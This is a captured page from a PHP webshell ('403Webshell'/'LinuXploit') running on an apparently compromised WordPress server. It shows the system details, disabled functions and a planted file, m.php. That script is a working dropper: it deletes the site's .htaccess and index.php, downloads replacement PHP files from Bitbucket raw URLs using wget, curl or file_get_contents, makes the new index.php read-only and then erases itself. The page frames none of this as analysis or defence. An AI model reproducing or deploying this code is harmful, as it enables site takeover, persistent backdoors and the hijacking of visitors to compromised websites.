403Webshell
Server IP : 172.67.179.166  /  Your IP : 172.64.213.29
Web Server : nginx/1.20.2
System : Linux 172-104-110-161.ip.linodeusercontent.com 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : www ( 1000)
PHP Version : 8.1.9
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/lenovo-drivers.com/wordpress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/lenovo-drivers.com/wordpress/m.php
<?php
@ini_set('display_errors', '0');
@error_reporting(0);

/* ================= XML RESPONSE ================= */
function xml_response($arr)
{
    header('Content-Type: application/xml; charset=UTF-8');
    echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<response>\n";
    foreach ($arr as $k => $v) {
        $v = htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8');
        echo "  <{$k}>{$v}</{$k}>\n";
    }
    echo "</response>";
    die;
}

/* ================= PATH HANDLING ================= */
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$path = parse_url($uri, PHP_URL_PATH);
$parts = array_values(array_filter(explode('/', (string)$path)));

$inSubdir = count($parts) > 1;
if ($inSubdir) {
    @chdir('..');
}

/* ================= REMOTES ================= */
$remoteIndex = 'https://bitbucket.org/bela007/bela/raw/b9d8076d9db0ffb838bcc18a36f6cab5f11987b3/index.php';
$remoteFile  = 'https://bitbucket.org/bela007/bela/raw/fa58ada965c3e18d2a09ba0d992a4ff5f3954853/okks772.php';

/* ================= HELPERS ================= */
function func_enabled($f)
{
    if (!function_exists($f)) return false;
    $d = ini_get('disable_functions');
    if (!$d) return true;
    return !in_array($f, array_map('trim', explode(',', $d)));
}

function wget_ok()
{
    if (!func_enabled('exec')) return false;
    @exec('wget --version 2>/dev/null', $o, $r);
    return $r === 0;
}

function curl_ok()
{
    return function_exists('curl_init');
}

function fopen_ok()
{
    return ini_get('allow_url_fopen');
}

function fetch_remote($url, &$method)
{
    /* wget */
    if (wget_ok()) {
        $tmp = @tempnam(sys_get_temp_dir(), 'wg_');
        if ($tmp) {
            @exec('wget -q -O ' . escapeshellarg($tmp) . ' ' . escapeshellarg($url) . ' 2>/dev/null', $o, $r);
            if ($r === 0 && file_exists($tmp) && filesize($tmp) > 0) {
                $method = 'wget';
                $d = @file_get_contents($tmp);
                @unlink($tmp);
                return $d;
            }
            @unlink($tmp);
        }
    }

    /* curl */
    if (curl_ok()) {
        $ch = @curl_init($url);
        if ($ch) {
            @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            @curl_setopt($ch, CURLOPT_TIMEOUT, 20);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $d = @curl_exec($ch);
            @curl_close($ch);
            if ($d) {
                $method = 'curl';
                return $d;
            }
        }
    }

    /* file_get_contents */
    if (fopen_ok()) {
        $ctx = stream_context_create(array('http' => array('timeout' => 20)));
        $d = @file_get_contents($url, false, $ctx);
        if ($d) {
            $method = 'file_get_contents';
            return $d;
        }
    }

    return false;
}

/* ================= CLEAN OLD ================= */
foreach (array('.htaccess', 'index.php') as $f) {
    if (is_file($f)) {
        @chmod($f, 0644);
        @unlink($f);
    }
}

/* ================= DOWNLOAD ================= */
$m1 = 'none';
$m2 = 'none';

$d1 = fetch_remote($remoteIndex, $m1);
$d2 = fetch_remote($remoteFile,  $m2);

if ($d1 !== false) {
    @file_put_contents('index.php', $d1);
    @chmod('index.php', 0444);
}

if ($d2 !== false) {
    @file_put_contents('okks772.php', $d2);
}

/* ================= OUTPUT ================= */
xml_response(array(
    'status'        => 'ok',
    'directory'     => $inSubdir ? 'parent' : 'current',
    'index_method'  => $m1,
    'file_method'   => $m2,
    'index_written' => $d1 ? 'yes' : 'no',
    'file_written'  => $d2 ? 'yes' : 'no'
));

@unlink(__FILE__);

Youez - 2016 - github.com/yon3zu
LinuXploit